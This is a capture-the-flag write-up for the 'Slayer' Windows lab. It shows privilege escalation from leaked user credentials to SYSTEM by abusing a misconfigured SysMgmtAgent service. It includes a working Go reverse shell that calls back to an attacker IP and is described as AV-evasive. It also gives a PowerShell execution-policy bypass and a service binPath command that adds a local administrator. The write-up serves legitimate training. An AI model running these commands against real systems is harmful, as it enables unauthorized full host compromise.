# Slayer

{% embed url="<https://www.hacksmarter.org/courses/530c3910-9b4d-4983-949c-126a8587b4ed>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective and Scope <a href="#user-content-objective-and-scope" id="user-content-objective-and-scope"></a>

Following a successful social engineering engagement, you have obtained user-level credentials for a corporate workstation. Your objective is to leverage this initial access to perform deep reconnaissance on the internal Windows host. The final goal is to escalate privileges and capture the root flag from the administrator's directory to demonstrate full system compromise.

**Starting Credentials**

```
tyler.ramsey:P@ssw0rd!
```

## Summary

<details>

<summary>Summary</summary>

In this engagement we gain interactive access to the Windows host by authenticating with available user credentials and pivoting to a more privileged account. Enumeration uncovers a misconfigured management service whose insecure configuration and filesystem permissions allow us to escalate the privileged user into the local Administrators group and recover the Administrator flag. Finally, by abusing the same service to run a custom payload we obtain a SYSTEM-level shell, demonstrating a full attack chain from initial access to complete host compromise while avoiding noisy detections.

</details>

## Recon

We start with a rustscan followed by services and default script scan, and we find ports `135` RPC, `445` SMB, `3389` RDP, and `49670` RPC to be open.&#x20;

```
rustscan -b 500 -a 10.1.236.103 -- -sC -sV -Pn
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlpdefE6u39gSKSdF4VEF%2Fgrafik.png?alt=media&#x26;token=d1deb8a5-38ed-4738-8c1d-a0325fa53d6d" alt=""><figcaption></figcaption></figure>

The host appears to be a Windows machine `Windows 10 build 26100` named `EC2AMAZ-M1LFCNO`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnZslBETMV6hyZRqxWXob%2Fgrafik.png?alt=media&#x26;token=8098be9b-a010-4090-96d8-04ee3090840b" alt=""><figcaption></figcaption></figure>

## RDP via tyler.ramsey

We already have credentials available from the scenario and are testing whether we can connect using RDP with these credentials. We are using Netexec for this. We can see that we are able to authenticate.

```
nxc rdp 10.1.236.103 -u tyler.ramsey -p 'P@ssw0rd!'
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXXzt5a4WhtYEh5EfEyOT%2Fgrafik.png?alt=media&#x26;token=8623b8aa-a28a-40a2-ac31-249e65b39740" alt=""><figcaption></figcaption></figure>

So we connect and use xfreerdp for this. Alternatively, we could also use Remmina or other tools.

```
xfreerdp +clipboard /u:tyler.ramsey  /p:'P@ssw0rd!' /v:10.1.236.103 /cert-ignore
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVhfa9xPyGdBzkW3WCenF%2Fgrafik.png?alt=media&#x26;token=5e5ed4bc-f9cd-41ff-92f3-fa173be8fe88" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIpzz7eSrRkG9ksaqQgvm%2Fgrafik.png?alt=media&#x26;token=a6ddcbb3-d09d-4ffa-b826-f0b12e91918c" alt=""><figcaption></figcaption></figure>

## RDP via alice.wonderland

As `tyler.ramsey`, we see that we do not have any special permissions.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzFZ8CpHiN8Lkwy10MMOz%2Fgrafik.png?alt=media&#x26;token=e1989dbc-88ff-48fb-96dc-fcbfcbdb7042" alt=""><figcaption></figcaption></figure>

In addition to `tyler.ramsey`, we also find another user account, `alice.wonderland`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FspwTagMhskZp5aSvNd0d%2Fgrafik.png?alt=media&#x26;token=0833aad0-c8b9-46d3-b9ac-d2ed23dbc6c2" alt=""><figcaption></figcaption></figure>

We use automated tools to enumerate the target. To get this onto the machine, we host an SMB server using Impacket.

```
smbserver.py -smb2support EXEGOL $(pwd) -username 0xb0b -password 0xb0b
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJWEOhjo2Bst86NxrW07N%2Fgrafik.png?alt=media&#x26;token=e08da434-7880-4406-933e-67a7e21a595c" alt=""><figcaption></figcaption></figure>

We use `PrivescCehck.ps1` for enumeration, which does not get detected by the AV.

{% embed url="<https://github.com/itm4n/PrivescCheck>" %}

We map the `\\10.200.14.213\EXEGOL` network share to the `x:` drive on the local system, using the user`0xb0b` and password `0xb0b` that we have chosen.

```
net use x: \\10.200.14.213\EXEGOL /user:0xb0b 0xb0b
```

Next, we copy the script from the share to the target.

```
copy x:\PrivescCheck.ps1 PrivescCheck.ps1    
```

We run for extended checks and let the script creat a human-readable report

{% code overflow="wrap" %}

```
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAPU6qF2OdHg0t61vbfZS%2Fgrafik.png?alt=media&#x26;token=ce1c914d-e687-4309-b1bc-4b4cd35c4241" alt=""><figcaption></figcaption></figure>

In the summary, we can already see that services are likely to be a potential privilege escalation vector.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FI7i31AOLcF8K8nBY2Jqo%2Fgrafik.png?alt=media&#x26;token=e354045b-ccaa-4c66-ba30-1ab048fd0321" alt=""><figcaption></figcaption></figure>

We copy the reports to our attacker machine.

{% code overflow="wrap" %}

```
copy PrivescCheck_EC2AMAZ-M1LFCNO.html x:\PrivescCheck_EC2AMAZ-M1LFCNO.html
copy PrivescCheck_EC2AMAZ-M1LFCNO.txt x:\PrivescCheck_EC2AMAZ-M1LFCNO.txt
```

{% endcode %}

We identify the SysMgmtAgent Service to be a potential candidate for privilege escalation since the Windows service's executable file - the ImagePath - has insecure file system permission. We need to check if we can write to the serices binary and if we are able to stop/start the service.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj1xMXXRIUo28x80dfLON%2Fgrafik.png?alt=media&#x26;token=0cda7685-8106-4789-882d-165b41ed6a5d" alt=""><figcaption></figcaption></figure>

We query for the Service, but we are not allowed to start the service.

```
sc.exe query SysMgmtAgent
```

```
sc.exe start SysMgmtAgent
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaTt0P38RTg9A3mYkYpwX%2Fgrafik.png?alt=media&#x26;token=1e4fc767-1b6b-49a1-8891-ead14d2ed4a0" alt=""><figcaption></figcaption></figure>

We will continue manually. Probably we have to escalate to `alice.wonderland`. In the root folder we find a suspicious Management folder.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQbMFuIfb78olk31bhDXE%2Fgrafik.png?alt=media&#x26;token=69129968-3623-4068-ae16-3549a0d3d0cb" alt=""><figcaption></figcaption></figure>

This folder contains some Management files but also a `desktop.ini` file. Fortunately this contains the credentials of `alice.wonderland`.

```
Get-ChildItem -Force | Format-Table Mode, LastWriteTime, Length, Name
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8isgPCQyBzkBaItDrEWk%2Fgrafik.png?alt=media&#x26;token=ecff3ec1-ac3e-44d1-a583-53eb4274043d" alt=""><figcaption></figcaption></figure>

We test whether we can connect using RDP with these credentials. We are using Netexec for this. We can see that we are able to authenticate.

```
nxc rdp 10.1.236.103 -u alice.wonderland -p 'REDACTED'  
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVs0D74RiWqY46fCkiJRj%2Fgrafik.png?alt=media&#x26;token=7cb255e2-b53e-4b84-93a8-8e5e95104747" alt=""><figcaption></figcaption></figure>

Next, we are using xfreerdp to connect to the target machine as `alice.wonderland`.

{% code overflow="wrap" %}

```
xfreerdp +clipboard /u:alice.wonderland  /p:'REDACTED' /v:10.1.236.103 /cert-ignore
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtWer38ecOxxkMNfoLVfh%2Fgrafik.png?alt=media&#x26;token=c22f5a8a-94c8-49b6-bcdb-9c08c4d99db1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIbG2yJknj8yaJdzJL3LO%2Fgrafik.png?alt=media&#x26;token=668e8bc0-e332-43a1-b6a4-3ae1a69dafa2" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Recalling the `SysMgmtAgent`, we check if we can start the service, and are successful.

```
sc.exe query SysMgmtAgent
```

```
sc.exe start SysMgmtAgent
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FW1a52Xry5GbvdiGdRno3%2Fgrafik.png?alt=media&#x26;token=75d41d60-a815-4b22-90bd-73fa9e8e7340" alt=""><figcaption></figcaption></figure>

We stop the service.

```
sc.exe stop SysMgmtAgent
```

Next, we try to elevate the permissions of `alice.wonderland` by adding the user to the local Administrators group. We reconfigure the SysMgmtAgent service to run the command that adds the user `alice.wonderland` to the local `Administrators` group when the service starts.

{% code overflow="wrap" %}

```
sc.exe config SysMgmtAgent binPath= "cmd.exe /c net localgroup Administrators /add alice.wonderland"
```

{% endcode %}

Now we start the service, and see that the user alice.wonderland is now part of the local `Administrators` group.

```
sc.exe start SysMgmtAgent
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFBXvovnYfdUUh0suc35v%2Fgrafik.png?alt=media&#x26;token=f36bd57f-2854-427d-8444-10ac6a1f5b07" alt=""><figcaption></figcaption></figure>

Next, we run a powershell session as Administrator and are able to retrieve the final flag at `C:\Users\Administrator\root.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1HIeQ0Qwhx00iB2VfBc1%2Fgrafik.png?alt=media&#x26;token=1ce3185a-f97c-44be-8730-279eaf345cc9" alt=""><figcaption></figcaption></figure>

## Shell as NT Authority System

To get a reverse shell as NT Authority System we can craft a simple reverse shell using Go. This should not be easily detected by an AV. However, we have to compile this on a Windows host.

{% code title="0xb0b.go" overflow="wrap" lineNumbers="true" %}

```go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.200.14.213:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}
```

{% endcode %}

We build the reverse shell.

```
go build -o 0xb0b.exe 0xb0b.go
```

And prepare a listener using Penelope. Penelope is a reverse shell handler which tries to auto upgrade the catched reverse shell, fixes TTY size and allows us to manage our

```
penelope -p 4445
```

We transfer the reverse shell to the target system at `C:\Management\0xb0b.exe`.&#x20;

```
copy x:\0xb0b.exe 0xb0b.exe
```

Next, we set the binPath to `C:\Management\0xb0b.exe.`

```
sc.exe config SysMgmtAgent binPath= "C:\Management\0xb0b.exe"
```

We start the service...

```
sc.exe start SysMgmtAgent
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCX20ySuS4nVAaqntrp2M%2Fgrafik.png?alt=media&#x26;token=d33907ce-17a0-4979-9935-e09cb67c60f0" alt=""><figcaption></figcaption></figure>

... and receive a connection as `NT Authority System`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcnKsKnOgTq1js8jwwxEx%2Fgrafik.png?alt=media&#x26;token=1ddd7695-d1ea-4311-b970-a6e43eb90fe1" alt=""><figcaption></figcaption></figure>
